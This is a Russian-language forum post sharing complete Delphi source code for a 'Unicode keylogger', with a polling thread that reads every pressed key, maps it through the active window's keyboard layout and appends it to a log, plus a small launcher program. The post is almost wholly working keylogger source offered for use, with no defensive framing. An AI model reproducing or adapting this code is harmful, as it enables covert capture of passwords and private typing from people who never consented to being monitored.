Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 29.11.2012, 12:27   #1
 Разведчик
Аватар для HAHo_tech
 
HAHo_tech неизвестен в этих краяхHAHo_tech неизвестен в этих краяхHAHo_tech неизвестен в этих краях
Регистрация: 16.01.2012
Сообщений: 11
Популярность: -210
Сказал(а) спасибо: 12
Поблагодарили 11 раз(а) в 9 сообщениях
 
Exclamation [Delphi]-Unicode Keylogger Example

Код:
unit UnitKeyLogger;

interface

uses
  Windows,Classes;

type
  TUnicodeKeylogger = class(TThread)
  private
    { Private declarations }
  public
    FActiveBackSpace:Boolean;
    FullLogData : String;
    function IsKeyPressed(KeyCode: Integer): Boolean;
    procedure AddKey(StrKey: String);
  protected
    procedure Execute; override;
  end;

implementation

procedure TUnicodeKeylogger.AddKey(StrKey: String);
begin
    FullLogData := FullLogData + StrKey;
    Write(StrKey);
end;

function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean;
begin
    result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
end;

procedure TUnicodeKeylogger.Execute;
var
 VirtKey        : UINT;
 ScanCode       : UINT;
 UniEx          : Integer;
 keyboardLayout : HKL;
 keyboardSpeed  : Integer;
 keyboardState  : TKeyboardState;
 strBuffer      : String;
 UnicodeChar    : array[0..1] of WChar;
 strkeyname     : Array[0..32] of Char;
 dwThread       : DWORD;
 dwProcess      : DWORD;
 dwHandle       : HWND;
BEGIN
  Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0);
  WHILE NOT Terminated DO
  BEGIN
    Windows.GetKeyState(VK_CAPITAL);
    Windows.GetKeyboardState(keyboardState);
    dwHandle:= Windows.GetForegroundWindow();
    dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess);
    keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
    FOR VirtKey := 0 TO $FF DO
      IF IsKeyPressed(VirtKey) THEN
      BEGIN
        IF VirtKey = 8 THEN // silmeye basilirsa
        BEGIN
          IF FActiveBackSpace THEN
          BEGIN
            Delete(FullLogData, Length(FullLogData), 1);
          END
          ELSE
          BEGIN
            Continue;
          END;
        END;
        ScanCode := Windows.MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
        Windows.GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
        IF Windows.lstrlenA(strkeyname) > 1 THEN
        BEGIN
         IF VirtKey = VK_SPACE  THEN strkeyname := ' ';  // bosluk tusu
         IF VirtKey = VK_RETURN THEN strkeyname := #13#10; // enter tusu
         AddKey(strkeyname);
         Continue;
        END;
        UniEx := Windows.ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
        strBuffer := UnicodeChar;
        SetLength(strBuffer,UniEx);
        AddKey(strBuffer);
      END;
    Sleep(keyboardSpeed DIV 4);
  END;
END;

END.
Код:
program Lib;

{$APPTYPE CONSOLE}

uses
  Windows,
  UnitKeyLogger in 'UnitKeyLogger.pas';

VAR
  Msg : TMsg;
  Keylogger:TUnicodeKeylogger ;
  LangID : Cardinal;
begin
  { TODO -oUser -cConsole Main : Insert code here }
  LangID:=Windows.GetUserDefaultLangID;
  Windows.SetThreadLocale(LangID);
  Keylogger:=TUnicodeKeylogger.Create(False);
  Keylogger.Resume;

  While Windows.GetMessage(Msg,0,0,0) Do
  Begin
      Windows.TranslateMessage(Msg);
      Windows.DispatchMessageA(Msg);
  End;
end.
[Ссылки могут видеть только зарегистрированные пользователи. ]
________________
Сделай красиво - поставь спасибо

Последний раз редактировалось HAHo_tech; 29.11.2012 в 12:31.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Помогите!] Unicode to ANSI. Delphi. AlexDerkoda Общение разработчиков 8 24.08.2012 16:17
[Программа] Unicode Patch v0.2 Okke Прочий софт для Counter-Strike 2 06.01.2012 18:55
[Файл] Emoji+Unicode HD for iPhone 4 1.0 MASTA-BLASTA Apple iOS 4 30.11.2011 10:26
[Программа] Boxy Bot Helper ( Unicode to MS-DOS ) Ironwind Dark Orbit 1 18.06.2011 00:40

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 01:30.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net